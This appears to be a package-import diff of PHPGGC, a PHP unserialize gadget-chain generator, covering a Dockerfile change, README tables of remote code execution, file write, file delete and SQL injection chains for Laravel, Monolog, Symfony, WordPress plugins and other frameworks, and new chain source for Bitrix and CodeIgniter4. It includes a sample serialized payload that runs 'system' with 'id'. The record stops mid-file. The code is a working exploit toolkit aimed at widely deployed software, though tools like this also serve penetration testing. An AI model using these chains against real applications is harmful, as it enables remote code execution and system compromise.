Import upstream version 0.20221219
Kali Janitor
1 year, 4 months ago
0 | FROM php:7.4-cli-alpine AS builder | |
0 | FROM php:8.1-cli-alpine AS builder | |
1 | ||
2 | RUN apk add python3 py3-pip curl | |
3 | ||
4 | RUN curl -s https://getcomposer.org/installer | php -- --install-dir=/usr/bin/ --filename=composer | |
5 | ||
6 | RUN alias composer='php /usr/bin/composer' | |
7 | ||
8 | RUN pip install rich | |
1 | 9 | |
2 | 10 | COPY . /phpggc |
3 | 11 |
19 | 19 | Gadget Chains |
20 | 20 | ------------- |
21 | 21 | |
22 | NAME VERSION TYPE VECTOR I | |
23 | CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct | |
24 | CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct | |
25 | CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
26 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
27 | CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct | |
28 | Doctrine/FW1 ? File write __toString * | |
29 | Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * | |
30 | Dompdf/FD1 1.1.1 <= ? File delete __destruct * | |
31 | Dompdf/FD2 ? < 1.1.1 File delete __destruct * | |
32 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
33 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
34 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
35 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
36 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
37 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
38 | Kohana/FR1 3.* File read __toString * | |
39 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
40 | Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * | |
41 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
42 | Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString | |
43 | Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
44 | Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * | |
45 | Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
46 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
47 | Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * | |
48 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
49 | Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * | |
50 | Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct | |
51 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
52 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
53 | Magento2/FD1 * File delete __destruct * | |
54 | Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * | |
55 | Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct | |
56 | Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct | |
57 | Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct | |
58 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
59 | Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct | |
60 | Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct | |
61 | Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * | |
62 | Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
63 | Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
64 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
65 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
66 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
67 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
68 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
69 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
70 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
71 | PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * | |
72 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
73 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
74 | Smarty/FD1 ? File delete __destruct | |
75 | Smarty/SSRF1 ? SSRF __destruct * | |
76 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
77 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
78 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
79 | SwiftMailer/FW3 5.0.1 File write __toString | |
80 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
81 | Symfony/FW1 2.5.2 File write DebugImport * | |
82 | Symfony/FW2 3.4 File write __destruct | |
83 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
84 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
85 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
86 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
87 | Symfony/RCE5 5.2.* RCE (Function call) __destruct | |
88 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
89 | ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * | |
90 | ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * | |
91 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
92 | ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * | |
93 | Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * | |
94 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
95 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
96 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
97 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
98 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
99 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
100 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
101 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
102 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
103 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
104 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
105 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
106 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
107 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
108 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
109 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
110 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
111 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
112 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
113 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
114 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
115 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
116 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
22 | NAME VERSION TYPE VECTOR I | |
23 | Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct | |
24 | CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct | |
25 | CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct | |
26 | CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct | |
27 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
28 | CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct | |
29 | CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
30 | Doctrine/FW1 ? File write __toString * | |
31 | Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * | |
32 | Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * | |
33 | Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * | |
34 | Dompdf/FD1 1.1.1 <= ? File delete __destruct * | |
35 | Dompdf/FD2 ? < 1.1.1 File delete __destruct * | |
36 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
37 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
38 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
39 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
40 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
41 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
42 | Kohana/FR1 3.* File read __toString * | |
43 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
44 | Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * | |
45 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
46 | Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
47 | Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * | |
48 | Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
49 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
50 | Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * | |
51 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
52 | Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * | |
53 | Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct | |
54 | Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString | |
55 | Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct | |
56 | Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * | |
57 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
58 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
59 | Magento2/FD1 * File delete __destruct * | |
60 | Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * | |
61 | Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct | |
62 | Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct | |
63 | Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct | |
64 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
65 | Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct | |
66 | Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct | |
67 | Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * | |
68 | Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
69 | Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
70 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
71 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
72 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
73 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
74 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
75 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
76 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
77 | PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * | |
78 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
79 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
80 | Smarty/FD1 ? File delete __destruct | |
81 | Smarty/SSRF1 ? SSRF __destruct * | |
82 | Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct | |
83 | Spiral/RCE2 -2.8+ RCE (Function call) __destruct * | |
84 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
85 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
86 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
87 | SwiftMailer/FW3 5.0.1 File write __toString | |
88 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
89 | Symfony/FW1 2.5.2 File write DebugImport * | |
90 | Symfony/FW2 3.4 File write __destruct | |
91 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
92 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
93 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
94 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
95 | Symfony/RCE5 5.2.* RCE (Function call) __destruct | |
96 | Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * | |
97 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
98 | ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * | |
99 | ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * | |
100 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
101 | ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * | |
102 | Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * | |
103 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
104 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
105 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
106 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
107 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
108 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
109 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
110 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
111 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
112 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
113 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
114 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
115 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
116 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
117 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
118 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
119 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
120 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
121 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
122 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
123 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
124 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
125 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
126 | ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct | |
117 | 127 | ``` |
118 | 128 | |
119 | 129 | Filter gadget chains: |
135 | 145 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * |
136 | 146 | Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * |
137 | 147 | Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct |
138 | ||
139 | 148 | ``` |
140 | 149 | |
141 | 150 | Every gadget chain has: |
327 | 336 | └─────────────────┴─────────┴──────────────┴──────────────┘ |
328 | 337 | ``` |
329 | 338 | |
339 | You can specify the versions you want to test by using the following syntaxe. | |
340 | ||
341 | ``` | |
342 | $ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3 | |
343 | Testing 2 versions for monolog/monolog against 2 gadget chains. | |
344 | ||
345 | ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ | |
346 | ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ | |
347 | ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ | |
348 | │ 2.3.0 │ OK │ OK │ KO │ | |
349 | │ 1.25.4 │ OK │ OK │ KO │ | |
350 | └─────────────────┴─────────┴──────────────┴──────────────┘ | |
351 | ``` | |
352 | ||
330 | 353 | # API |
331 | 354 | |
332 | 355 | Instead of using PHPGGC as a command line tool, you can program PHP scripts: |
389 | 412 | |
390 | 413 | # Docker |
391 | 414 | |
392 | If you don't want to install PHP, you can use `docker build`. | |
393 | ||
415 | If you don't want to install PHP, you can use `docker build . -t 'phpggc'`. | |
416 | ||
417 | To generate a gadget chain. | |
418 | ||
419 | ``` | |
420 | $ docker run phpggc Monolog/rce1 'system' 'id' | |
421 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}} | |
422 | ``` | |
423 | ||
424 | To run `test-gc-compatibility.py` from docker. | |
425 | ``` | |
426 | $ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2 | |
427 | Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS). | |
428 | Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains. | |
429 | ||
430 | ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓ | |
431 | ┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃ | |
432 | ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩ | |
433 | │ 2.2 │ OK │ OK │ OK │ | |
434 | │ 2.7.2 │ OK │ OK │ KO │ | |
435 | └──────────────────────────┴─────────┴───────────────┴───────────────┘ | |
436 | ``` | |
394 | 437 | |
395 | 438 | # License |
396 | 439 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Bitrix; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '17.x.x <= 22.0.300'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Bitrix\Main\ORM\Data\Result( | |
16 | new \Bitrix\Main\Type\Dictionary( | |
17 | new \Bitrix\Main\Error( | |
18 | new \Bitrix\Main\UI\Viewer\ItemAttributes( | |
19 | new \Bitrix\Main\DB\ResultIterator( | |
20 | new \Bitrix\Main\DB\ArrayResult( | |
21 | $function, $parameter | |
22 | ) | |
23 | ) | |
24 | ) | |
25 | ) | |
26 | ) | |
27 | ); | |
28 | } | |
29 | } |
0 | <?php | |
1 | ||
2 | namespace Bitrix\Main { | |
3 | class Result | |
4 | { | |
5 | protected $errors; | |
6 | ||
7 | public function __construct(object $Dictionary) | |
8 | { | |
9 | $this->errors = $Dictionary; | |
10 | } | |
11 | } | |
12 | ||
13 | class Error { | |
14 | protected $message; | |
15 | ||
16 | public function __construct(object $ItemAttributes) | |
17 | { | |
18 | $this->message = $ItemAttributes; | |
19 | } | |
20 | } | |
21 | } | |
22 | ||
23 | namespace Bitrix\Main\ORM\Data { | |
24 | class Result extends \Bitrix\Main\Result | |
25 | { | |
26 | protected $isSuccess = false; | |
27 | protected $wereErrorsChecked = false; | |
28 | ||
29 | public function __construct(object $Dictionary) | |
30 | { | |
31 | parent::__construct($Dictionary); | |
32 | } | |
33 | } | |
34 | } | |
35 | ||
36 | namespace Bitrix\Main\Type { | |
37 | class Dictionary | |
38 | { | |
39 | protected $values; | |
40 | ||
41 | public function __construct(object $Error) | |
42 | { | |
43 | $this->values = [$Error]; | |
44 | } | |
45 | } | |
46 | } | |
47 | ||
48 | namespace Bitrix\Main\UI\Viewer { | |
49 | class ItemAttributes | |
50 | { | |
51 | protected $attributes; | |
52 | ||
53 | public function __construct(object $ResultIterator) | |
54 | { | |
55 | $this->attributes = $ResultIterator; | |
56 | } | |
57 | } | |
58 | } | |
59 | ||
60 | namespace Bitrix\Main\DB { | |
61 | class ResultIterator | |
62 | { | |
63 | private $counter = 0; | |
64 | private $currentData = 0; | |
65 | private $result; | |
66 | ||
67 | public function __construct(object $ArrayResult) | |
68 | { | |
69 | $this->result = $ArrayResult; | |
70 | } | |
71 | } | |
72 | ||
73 | class ArrayResult | |
74 | { | |
75 | protected $resource; | |
76 | protected $converters; | |
77 | ||
78 | public function __construct(string $function, string $parameter) | |
79 | { | |
80 | $this->converters = [$function, 'WriteFinalMessage']; | |
81 | $this->resource = [[$parameter], [['rce']]]; | |
82 | } | |
83 | } | |
84 | } |
3 | 3 | |
4 | 4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4'; | |
6 | public static $version = '4.0.2 <= 4.0.3'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'eboda'; |
9 | 9 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CodeIgniter4; | |
3 | ||
4 | class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'eboda'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter); | |
16 | } | |
17 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace CodeIgniter\Cache\Handlers | |
3 | { | |
4 | class RedisHandler | |
5 | { | |
6 | protected $redis; | |
7 | ||
8 | public function __construct($func, $param) | |
9 | { | |
10 | $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler( | |
11 | new \CodeIgniter\Model( | |
12 | new \CodeIgniter\Database\BaseBuilder, | |
13 | new \CodeIgniter\Validation\Validation, | |
14 | $func | |
15 | ), | |
16 | $param | |
17 | ); | |
18 | } | |
19 | } | |
20 | } | |
21 | ||
22 | namespace CodeIgniter\Session\Handlers | |
23 | { | |
24 | class MemcachedHandler | |
25 | { | |
26 | protected $memcached; | |
27 | protected $lockKey; | |
28 | ||
29 | public function __construct($memcached, $param) | |
30 | { | |
31 | $this->lockKey = $param; | |
32 | $this->memcached = $memcached; | |
33 | } | |
34 | } | |
35 | } | |
36 | ||
37 | namespace CodeIgniter | |
38 | { | |
39 | class Model | |
40 | { | |
41 | protected $builder; | |
42 | protected $primaryKey; | |
43 | protected $beforeDelete; | |
44 | protected $validationRules; | |
45 | protected $validation; | |
46 | ||
47 | public function __construct($builder, $validation, $func) | |
48 | { | |
49 | $this->builder = $builder; | |
50 | $this->primaryKey = null; | |
51 | ||
52 | $this->beforeDelete = array(); | |
53 | $this->beforeDelete[] = "validate"; | |
54 | ||
55 | $this->validation = $validation; | |
56 | $this->validationRules = array( | |
57 | "id" => array($func) | |
58 | ); | |
59 | } | |
60 | } | |
61 | } | |
62 | ||
63 | namespace CodeIgniter\Validation | |
64 | { | |
65 | class Validation | |
66 | { | |
67 | protected $ruleSetFiles; | |
68 | ||
69 | public function __construct() | |
70 | { | |
71 | $this->ruleSetFiles = array("finfo"); | |
72 | } | |
73 | } | |
74 | } | |
75 | ||
76 | namespace CodeIgniter\Database | |
77 | { | |
78 | class BaseBuilder | |
79 | { | |
80 | } | |
81 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CodeIgniter4; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '-4.1.3+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Predis\Connection\StreamConnection($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | ||
2 | namespace Predis\Connection | |
3 | { | |
4 | class StreamConnection | |
5 | { | |
6 | protected $parameters; | |
7 | ||
8 | function __construct($function, $paramter) | |
9 | { | |
10 | $this->parameters = new \CodeIgniter\Entity\Entity($function, $paramter); | |
11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | namespace CodeIgniter\Entity | |
16 | { | |
17 | class Entity | |
18 | { | |
19 | protected $datamap; | |
20 | ||
21 | function __construct($function, $parameter) | |
22 | { | |
23 | $this->datamap = ["persistent" => new \Symfony\Component\HttpFoundation\Request($function, $parameter)]; | |
24 | } | |
25 | } | |
26 | } | |
27 | ||
28 | namespace Symfony\Component\HttpFoundation | |
29 | { | |
30 | class Request | |
31 | { | |
32 | public $server; | |
33 | public $cookies; | |
34 | ||
35 | function __construct($function, $paramter) | |
36 | { | |
37 | $this->cookies = ["key" => "value"]; | |
38 | $this->server = new \Symfony\Component\DependencyInjection\Argument\ServiceLocator($function, $paramter); | |
39 | } | |
40 | } | |
41 | } | |
42 | ||
43 | namespace Symfony\Component\DependencyInjection\Argument | |
44 | { | |
45 | class ServiceLocator | |
46 | { | |
47 | private $serviceMap; | |
48 | private $factory; | |
49 | ||
50 | function __construct($function, $paramter) | |
51 | { | |
52 | $this->factory = "call_user_func"; | |
53 | $this->serviceMap = ["REQUEST_METHOD" => [$function, $paramter]]; | |
54 | } | |
55 | } | |
56 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CodeIgniter4; | |
3 | ||
4 | class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '-4.1.3 <= 4.2.10+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Predis\Response\Iterator\MultiBulk($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | namespace Predis\Response\Iterator{ | |
2 | class MultiBulk{ | |
3 | protected $position; | |
4 | protected $size; | |
5 | private $connection; | |
6 | ||
7 | function __construct($function,$paramter) | |
8 | { | |
9 | $this->connection = new \Faker\ValidGenerator($function,$paramter); | |
10 | $this->position = 0; | |
11 | $this->size = 1; | |
12 | } | |
13 | } | |
14 | } | |
15 | ||
16 | namespace Faker{ | |
17 | class ValidGenerator{ | |
18 | protected $generator; | |
19 | protected $maxRetries; | |
20 | protected $validator; | |
21 | ||
22 | function __construct($function,$param) | |
23 | { | |
24 | $this->maxRetries = 1; | |
25 | $this->validator = $function; | |
26 | $this->generator = new \Faker\DefaultGenerator($param); | |
27 | } | |
28 | } | |
29 | ||
30 | class DefaultGenerator{ | |
31 | protected $default; | |
32 | ||
33 | function __construct($param) | |
34 | { | |
